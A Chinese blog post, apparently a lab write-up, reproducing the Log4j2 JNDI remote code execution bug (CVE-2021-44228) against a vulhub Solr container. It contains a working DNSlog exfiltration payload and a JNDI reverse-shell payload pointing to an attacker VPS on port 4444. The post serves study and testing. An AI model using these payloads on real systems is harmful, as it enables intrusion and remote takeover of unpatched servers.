Loading

Log4j2RCE(CVE-2021-44228)

Log4j2RCE(CVE-2021-44228)

漏洞描述

Log4j2 是 Apache 的一个开源日志库,广泛应用于 Java 应用程序中。2021 年 12 月 9 日,发现了一个严重的远程代码执行漏洞(CVE-2021-44228),该漏洞允许攻击者通过特制的日志消息在目标系统上执行任意代码。

JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议 包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

漏洞原理

Log4j2 在特定的版本中由于启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数,是通过配置文件中的${}语法调用的,例如:如果在日志消息中使用了${sys:my.property},那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值,并将其替换为实际值。

影响范围

  • Apache Log4j 2.0-2.14.1
  • Apache Log4j 1.2和Log4j 1.2.x系列不受影响

漏洞复现

cd vulhub/log4j/CVE-2021-44228
sudo docker compose up -d

通过DNSlog平台验证:

http://192.168.4.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.5wzzp7.dnslog.cn}

image-20260804125149299

反弹shell

这里直接通过JNDI利用工具在vps上启一个ldap服务和http服务,

image-20260804132126629

然后监听4444端口

http://192.168.4.128:8983/solr/admin/cores?action=${jndi:ldap://ip:1389/Basic/ReverseShell/vps_ip/4444}

无法访问到?

这里遇到了一些问题,始终反弹不了shell,换了各种工具都不通。

后面发现是我vps的问题,我通过window本机打就没什么问题。下次打的时候换个虚拟机吧(

后续成功拿到反弹shell:

image-20260805112013764

image-20260805112022113

参考文章:

Log4j2从被动扫描到反弹shell/写内存马 | CN-SEC 中文网

ctfshow Log4j复现wp - cnnloghph - 博客园

https://www.bilibili.com/video/BV1KQLv6JExu

posted @ 2026-08-05 11:37  幽暗天琴沙雕  阅读(9)  评论(0)    收藏  举报